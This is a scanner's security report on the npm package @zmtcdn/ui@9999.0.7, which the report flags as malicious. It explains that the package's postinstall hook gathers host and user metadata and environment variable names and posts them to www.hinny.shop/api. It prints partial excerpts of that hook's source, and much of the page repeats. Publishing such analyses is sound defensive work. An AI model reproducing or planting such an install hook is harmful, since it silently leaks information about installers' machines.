registry / Install hook abuse / @zmtcdn/ui

@zmtcdn/ui

Security research PoC

This report shows the evidence for @zmtcdn/ui@9999.0.7. 2 of 3 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The manifest activates a postinstall hook that sends identifying host and user data to a fixed external endpoint. This is automatic installation-time disclosure without installer consent, so the package should be blocked.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs its postinstall hook.

Impact

Installation discloses identifying information about the machine and user to the external endpoint.

Mechanism

The hook gathers host, user, working-directory, and environment-key metadata, then posts it over HTTPS without a consent check.

Attack narrative

Installing the package automatically runs postinstall.js, which collects host and user identifiers and sends them to a fixed external endpoint. The source shows no consent check or functional use for this disclosure.

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints1

www.hinny.shop/api

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs postinstall.js automatically during installation.
The hook collects the machine hostname, platform, username, working directory, and environment variable names.
The hook sends the collected data in an HTTPS POST to a fixed external endpoint without a consent check.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

UrlStrings

Manifest

NoLicense

scanned 2 file(s), 636 B of source, external domains: www.hinny.shop

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js" } }

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1Source sends the broad process environment to a literal external destination. L1: const os = require('os'); L2: const https = require('https'); L3: L4: const data = JSON.stringify({ L5: hostname: os.hostname(), L6: platform: os.platform(), ... L8: cwd: process.cwd(), L9: env_keys: Object.keys(process.env), // không gửi values - tránh sensitive data L10: time: new Date().toISOString() ... L20: req.on('error', () => {}); L21: req.write(data); L22: req.end();

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

postinstall.jsView on unpkg · L1

1const os = require('os'); L2: const https = require('https'); L3: L4: const data = JSON.stringify({ L5: hostname: os.hostname(), L6: platform: os.platform(), ... L8: cwd: process.cwd(), L9: env_keys: Object.keys(process.env), // không gửi values - tránh sensitive data L10: time: new Date().toISOString() ... L20: req.on('error', () => {}); L21: req.write(data); L22: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = e65cb5e3173c4f67 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @zmtcdn/ui@9999.0.0 matchedPath = postinstall.js matchedIdentity = npm:QHptdGNkbi91aQ:9999.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

Findings

1 Critical4 High4 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationpostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

HighKnown Malware Source Fingerprint Signaturepostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to @zmtcdn/ui@9999.0.7.

The versions list below shows the verdict for each recorded version.

Avoid installing @zmtcdn/ui@9999.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-29 14:30:31.376Z (UTC).

Source advisory published: 2026-10-28 07:27:15.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

9999.0.7latestshownMaliciousInstall Hook AbuseBlockPublishedOct 28, 2026, 9:58 AM 9999.0.0MaliciousData ExfiltrationBlockPublishedOct 28, 2026, 7:22 AM 0.0.0-stageUnknown—AllowUnder ReviewOct 28, 2026, 7:20 AM

registry / Install hook abuse / @zmtcdn/ui

@zmtcdn/ui

Security research PoC

This report shows the evidence for @zmtcdn/ui@9999.0.7. 2 of 3 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 7d ago · by lpm-firewall-ai

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs its postinstall hook.

Impact

Installation discloses identifying information about the machine and user to the external endpoint.

Mechanism

The hook gathers host, user, working-directory, and environment-key metadata, then posts it over HTTPS without a consent check.

Attack narrative

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints1

www.hinny.shop/api

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs postinstall.js automatically during installation.
The hook collects the machine hostname, platform, username, working directory, and environment variable names.
The hook sends the collected data in an HTTPS POST to a fixed external endpoint without a consent check.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

UrlStrings

Manifest

NoLicense

scanned 2 file(s), 636 B of source, external domains: www.hinny.shop

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js" } }

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

postinstall.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

Findings

1 Critical4 High4 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationpostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

HighKnown Malware Source Fingerprint Signaturepostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to @zmtcdn/ui@9999.0.7.

The versions list below shows the verdict for each recorded version.

Avoid installing @zmtcdn/ui@9999.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-29 14:30:31.376Z (UTC).

Source advisory published: 2026-10-28 07:27:15.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @zmtcdn

Other install hook abuse packages

Related packages

More from @zmtcdn

Other install hook abuse packages